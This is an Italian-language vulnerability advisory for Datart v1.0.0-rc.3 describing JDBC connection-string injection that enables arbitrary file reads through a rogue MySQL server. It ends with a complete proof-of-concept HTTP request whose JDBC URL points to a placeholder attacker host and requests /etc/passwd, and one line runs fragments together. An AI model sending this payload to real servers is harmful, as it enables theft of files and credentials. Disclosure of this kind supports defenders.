
Datart v1.0.0-rc.3 Iniezione della stringa di connessione JDBC che consente la lettura arbitraria di file
È stata scoperta una vulnerabilità di lettura arbitraria dei file in Datart v1.0.0-rc.3. L'applicazione non valida correttamente l'URL di connessione JDBC durante la configurazione dell'origine dati.
Tipo di vulnerabilità: Validazione impropria dell'input (CWE-20) / Lettura arbitraria dei file Versione interessata: Datart v1.0.0-rc.3 Gravità: Alta (potenziale divulgazione di informazioni sensibili)
La vulnerabilità è presente nel modulo di configurazione dell'origine dati. L'applicazione non sanifica rigorosamente il parametro url nella configurazione JDBC. Un attaccante remoto con i privilegi per configurare le origini dati può iniettare parametri dannosi (in particolare allowLoadLocalInfile=true) nell'URL JDBC.
Indirizzando la connessione JDBC verso un server MySQL dannoso controllato dall'attaccante (Rogue MySQL Server), l'attaccante può indurre il client a inviare file locali dal server Datart al proprio server.
Lo sfruttamento riuscito consente a un attaccante autenticato di leggere file arbitrari dal file system del server (ad esempio , file di configurazione, codice sorgente), potenzialmente portando alla compromissione del server o ad attacchi successivi.
/etc/passwdLOAD DATA LOCAL INFILE (ad esempio utilizzando strumenti come rogue_mysql_server).POST /api/v1/data-provider/test HTTP/1.1
Host: {{TARGET_HOST}}
Content-Type: application/json
Authorization: Bearer {{VALID_JWT_TOKEN}}
Accept: application/json
{
"name": "cve-poc-test",
"type": "JDBC",
"properties": {
"dbType": "MYSQL",
"url": "jdbc:mysql://{{ATTACKER_IP}}:{{ATTACKER_PORT}}/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360",
"user": "fileread_/etc/passwd",
"password": "any_password",
"driverClass": "com.mysql.cj.jdbc.Driver",
"serverAggregate": false,
"enableSpecialSQL": false,
"enableSyncSchemas": true,
"syncInterval": "60",
"properties": {}
}
}